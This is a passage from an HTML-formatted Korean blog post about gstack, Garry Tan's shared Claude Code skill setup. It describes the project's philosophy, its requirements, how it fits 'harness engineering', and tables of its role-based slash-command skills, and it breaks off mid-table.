&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;설치 및 셋업 방법 (단계별 가이드)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;CLAUDE.md 및 설정 파일 구조&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Conductor와의 병렬 실행&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;이 방식의 장점과 한계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응 &amp;mdash; 찬사와 논쟁&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 활용: Codex 리밋 후 gstack + Claude Code 워크플로우&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;30분 핵심 튜토리얼: 처음 gstack 써보기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;직접 따라하기 &amp;mdash; 나만의 역할별 에이전트 셋업&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 1: Garry Tan 소개 ===== --&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. Garry Tan은 누구인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Garry Tan&lt;/b&gt;은 현재 &lt;b&gt;Y Combinator(YC)&lt;/b&gt;의 President &amp;amp; CEO를 맡고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;YC는 Airbnb, Dropbox, Stripe, Coinbase, Instacart, Rippling 등 수천 개의 스타트업을 배출한 세계 최고의 스타트업 액셀러레이터다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan은 &lt;b&gt;Palantir의 초기 엔지니어/디자이너&lt;/b&gt;&amp;nbsp;출신이고, Posterous(트위터에 인수)를 창업한 경험이 있으며, YC 내부 SNS인 Bookface를 직접 개발한 실리콘밸리의 핵심 인물이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack README&lt;/a&gt;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그는 기술과 제품에 대한 깊은 이해를 바탕으로 직접 코드를 작성하는 CEO로 알려져 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그는 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2032014570118922347&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;I've been having such an amazing time with Claude Code I wanted you to be able to have my exact skill setup&quot;(나는&amp;nbsp;Claude&amp;nbsp;Code를&amp;nbsp;사용하면서&amp;nbsp;정말&amp;nbsp;놀라운&amp;nbsp;경험을&amp;nbsp;하고&amp;nbsp;있어서,&amp;nbsp;내가&amp;nbsp;설정해둔&amp;nbsp;동일한&amp;nbsp;skill&amp;nbsp;환경을&amp;nbsp;너도&amp;nbsp;그대로&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;해주고&amp;nbsp;싶었다.)&lt;/a&gt;라며 gstack을 공개했다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이후 그의 CTO 친구가 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/garrytan/status/2032196172430131498&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;Your gstack is crazy. This is like god mode&quot;&lt;/a&gt;라고 평가하며 바이럴되었다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #f5a623; margin: 20px 0;&quot;&gt;&lt;b&gt;왜 CEO가 직접 Claude Code 셋업을 공개하는가?&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Garry Tan은 &quot;AI 코딩 도구를 단순히 사용하는 것&quot;과 &quot;제대로 활용하는 것&quot; 사이에 큰 차이가 있다고 강조한다. gstack은 그가 실제로 YC 포트폴리오 회사들과 함께 일하면서, 그리고 개인 프로젝트를 진행하면서 다듬어온 실전 셋업이다. 단순한 프롬프트 튜닝이 아니라, 개발 프로세스 자체를 구조화하는 방법론이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 2: gstack 소개 ===== --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. gstack이란? &amp;mdash; 탄생 배경과 철학&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 공식 설명은 이렇다:&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&quot;Use Garry Tan's exact Claude Code setup: &lt;br /&gt;15 opinionated tools that serve as CEO, Designer, Eng Manager, Release Manager, Doc Engineer, and QA&lt;br /&gt;&lt;br /&gt;(Garry&amp;nbsp;Tan의&amp;nbsp;Claude&amp;nbsp;Code&amp;nbsp;설정을&amp;nbsp;그대로&amp;nbsp;사용하라:&amp;nbsp;&lt;br /&gt;CEO,&amp;nbsp;Designer,&amp;nbsp;Engineering&amp;nbsp;Manager,&amp;nbsp;Release&amp;nbsp;Manager,&amp;nbsp;Documentation&amp;nbsp;Engineer,&amp;nbsp;QA&amp;nbsp;역할을&amp;nbsp;수행하는&amp;nbsp;강하게&amp;nbsp;의견이&amp;nbsp;반영된(opinionated)&amp;nbsp;15개의&amp;nbsp;도구(tool)&amp;nbsp;구성)&quot;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub repo description&lt;/a&gt;&amp;nbsp;)&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 철학은 한 문장으로 요약된다:&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2552&quot; data-origin-height=&quot;1392&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btS48q/dJMcaaxZGfA/HgvBqM39BxbYodu8PuwPyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btS48q/dJMcaaxZGfA/HgvBqM39BxbYodu8PuwPyk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btS48q/dJMcaaxZGfA/HgvBqM39BxbYodu8PuwPyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtS48q%2FdJMcaaxZGfA%2FHgvBqM39BxbYodu8PuwPyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2552&quot; height=&quot;1392&quot; data-origin-width=&quot;2552&quot; data-origin-height=&quot;1392&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 8px; border: 1px solid #cce5ff; margin: 20px 0; text-align: center;&quot;&gt;
&lt;p style=&quot;font-size: 18px; color: #1a3a52; margin: 0;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&quot;Planning is not review. Review is not shipping. Founder taste is not engineering rigor.&quot;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #666; margin-top: 10px; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;기획은 리뷰가 아니다. 리뷰는 배포가 아니다. 창업자의 감각은 엔지니어링의 엄밀함이 아니다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 철학이 왜 중요한가?&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;많은 개발자들이 Claude Code(또는 다른 AI 코딩 어시스턴트)를 &quot;만능 도구&quot;처럼 사용한다. 기획, 코딩, 리뷰, 배포를 모두 같은 대화 창에서, 같은 프롬프트 스타일로 요청한다. 결과는 &quot;어중간하게 다 하는&quot; 범용 응답이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 이를 거부한다. 각 개발 단계마다 &lt;b&gt;다른 인지 모드&lt;/b&gt;가 필요하다는 것을 인식하고, 명시적으로 모드를 스위칭하는 구조를 만든다. CEO처럼 10배 더 나은 제품을 상상할 때와, Staff Engineer처럼 프로덕션 버그를 사냥할 때는 다른 사고방식이 필요하다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기술 스택과 요구사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Claude Code&lt;/b&gt;: Anthropic의 AI 코딩 어시스턴트 (필수)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Git&lt;/b&gt;: 버전 관리 (필수)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Bun v1.0+&lt;/b&gt;: JavaScript 런타임 &amp;mdash; /browse 스킬의 브라우저 바이너리 컴파일에 필요&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;macOS 또는 Linux&lt;/b&gt; (x64/arm64): /browse 스킬 지원 환경&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Conductor&lt;/b&gt; (선택): 병렬 Claude Code 세션 관리 (10개 동시 실행 시)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 2.5: 하네스 엔지니어링 관점에서 본 gstack ===== --&gt;
&lt;h3 id=&quot;section2-harness&quot; style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;하네스 엔지니어링 관점에서 본 gstack&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1106&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B1Nn7/dJMcab4ITyH/mVVCn8bfkWOtAfZShlI6Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B1Nn7/dJMcab4ITyH/mVVCn8bfkWOtAfZShlI6Kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B1Nn7/dJMcab4ITyH/mVVCn8bfkWOtAfZShlI6Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB1Nn7%2FdJMcab4ITyH%2FmVVCn8bfkWOtAfZShlI6Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2026&quot; height=&quot;1106&quot; data-origin-width=&quot;2026&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack을 &quot;프롬프트 모음집&quot;으로 보는 시각이 있다. 하지만 2026년 양대 AI 회사가 한 달 간격으로 발표한 공식 블로그 &amp;mdash; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://openai.com/index/harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI &quot;Harness Engineering&quot;&lt;/a&gt;(2026-02-11)과 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.anthropic.com/engineering/harness-design-long-running-apps&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic &quot;Harness Design for Long-Running Apps&quot;&lt;/a&gt;(2026-03-24) &amp;mdash; 의 프레임으로 보면 전혀 다른 그림이 나온다. &lt;b&gt;gstack은 개인 개발자를 위한 하네스(harness)다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하네스란 프롬프트보다 넓은 개념이다. 에이전트가 작동하는 &lt;b&gt;환경 전체&lt;/b&gt; &amp;mdash; 운영 규칙, 역할 분리 구조, 검증 루프, 안전 가드레일 &amp;mdash; 를 포함한다. gstack의 구성 요소를 하네스 엔지니어링 원칙에 매핑하면 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 28%;&quot;&gt;하네스 엔지니어링 원칙&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 28%;&quot;&gt;gstack 구현&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600; width: 44%;&quot;&gt;참조&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;환경 설계&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;CLAUDE.md의 gstack 섹션 &amp;mdash; 세션 시작 시 항상 로드되는 운영 규칙. 사용 도구와 스킬 목록을 명시&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;OpenAI: &quot;에이전트가 접근할 수 없는 것은 존재하지 않는 것과 같다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;역할 분리&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;SKILL.md 기반 29개 역할을 명시적으로 분리. 각 스킬은 다른 평가 기준과 출력 형식을 가짐&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic: Planner / Generator / Evaluator 3-에이전트 구조&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;피드백 루프&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;/autoplan(방향 설정) &amp;rarr; 구현(Generator) &amp;rarr; /review &amp;middot; /qa(Evaluator)&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;Anthropic: &quot;생성기 자신에게 자기 결과를 평가하게 하면 편향이 생긴다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;행동 가드레일&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;/careful &amp;middot; /freeze &amp;middot; /guard &amp;mdash; 파괴적 명령 차단 및 작업 범위 잠금&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;프롬프트가 아닌 구조화된 운영 규칙 레벨에서 작동&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI가 말한 &lt;b&gt;&quot;Humans steer. Agents execute.&quot;&lt;/b&gt;는 gstack의 /office-hours에서 정확히 구현된다. 6가지 강제 질문으로 사람이 방향을 확정하면, 이후 에이전트가 설계&amp;middot;구현&amp;middot;검증을 실행한다. /review와 /qa를 구현 단계와 분리하는 것도 같은 이유다 &amp;mdash; 자기 코드를 자기가 평가하면 맹점이 생긴다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e1; padding: 15px 20px; border-radius: 8px; border-left: 4px solid #f5a623; margin: 20px 0;&quot;&gt;&lt;b&gt;같은 모델, 다른 하네스 &amp;rarr; 다른 결과&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;LangChain은 모델을 고정한 채 하네스만 변경하여 에이전트 벤치마크(Terminal Bench 2.0) 점수를 52.8 &amp;rarr; 66.5로 끌어올렸다. (&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://blog.langchain.com/improving-deep-agents-with-harness-engineering/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;출처, 2026-02-17&lt;/a&gt;) gstack은 Claude를 더 좋은 모델로 바꾸는 도구가 아니라, &lt;b&gt;같은 모델이 더 일관되게 일하도록 행동 공간을 재설계하는 하네스&lt;/b&gt;다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 15px 20px; border-radius: 8px; border: 1px solid #cce5ff; margin: 20px 0;&quot;&gt;&lt;b&gt;프롬프트 엔지니어링 vs 하네스 엔지니어링&lt;/b&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack의 핵심은 프롬프트를 더 길게 쓰는 데 있지 않다. CLAUDE.md 같은 항상 로드되는 운영 규칙, SKILL.md 기반 역할 분리, 그리고 /review &amp;middot; /qa 같은 검증 루프를 통해 &lt;b&gt;에이전트의 행동 자체를 재구성&lt;/b&gt;하는 데 있다. 프롬프트는 포크해서 바꿀 수 있지만, 이 구조적 설계는 쉽게 재발명되지 않는다. 단, 역할마다 별도 스킬을 호출하는 만큼 토큰과 운영 오버헤드가 늘어난다는 트레이드오프는 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;하네스 엔지니어링 개념 전체(OpenAI vs Anthropic 비교 분석)는 &lt;b&gt;&lt;a href=&quot;https://goddaehee.tistory.com/565&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;하네스 엔지니어링 완전 가이드&lt;/a&gt;&lt;/b&gt;에서 상세히 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== Section 3: 8가지 역할별 에이전트 스킬 ===== --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 29가지 역할별 에이전트 스킬 해부&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;gstack은 초기 6개 스킬에서 빠르게 확장하여 현재 &lt;b&gt;약 29개의 슬래시 커맨드 스킬&lt;/b&gt;로 구성된다&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(README는 &quot;All 29 skills&quot;로 표기, 2026-03-30 기준. 빠르게 추가/변경 중).&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;각 스킬은 특정 역할의 인지 모드로 AI 에이전트를 전환한다. 아래 표에서 카테고리별로 전체 구조를 파악할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/garrytan/gstack/blob/main/docs/skills.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;gstack docs/skills.md&lt;/a&gt;, 2026-03-26 기준)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HBQot/dJMcagdUE9v/vEbURbbKRphkettam6gRS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HBQot/dJMcagdUE9v/vEbURbbKRphkettam6gRS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HBQot/dJMcagdUE9v/vEbURbbKRphkettam6gRS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHBQot%2FdJMcagdUE9v%2FvEbURbbKRphkettam6gRS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2048&quot; height=&quot;1094&quot; data-origin-width=&quot;2048&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;기획&amp;middot;리뷰 (Planning &amp;amp; Review)&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/office-hours&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;YC Office Hours&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;6가지 강제 질문으로 코드 작성 전 제품을 재정의. 전제를 도전하고 구현 대안을 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/plan-ceo-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;창업자 / CEO&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;10-star product 관점에서 문제 재정의. 4가지 모드: Expansion, Selective, Hold, Reduction&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/plan-eng-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;엔지니어링 매니저&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;아키텍처 확정, 데이터 플로우, 에지 케이스 정의. 숨겨진 가정을 드러냄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/plan-design-review&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;시니어 디자이너&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;인터랙티브 plan-mode 디자인 리뷰. 각 차원을 0~10점으로 평가하고 개선&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/autoplan&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;리뷰 파이프라인&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;CEO &amp;rarr; Design &amp;rarr; Eng review를 자동 순차 실행. 판단이 필요한 &quot;taste decisions&quot;만 사용자에게 질문&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;디자인 (Design)&lt;/h3&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;스킬 명령어&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #ddd;&quot;&gt;주요 기능&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;/design-consultation&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;디자인 파트너&lt;/b&gt;&lt;/td&gt;
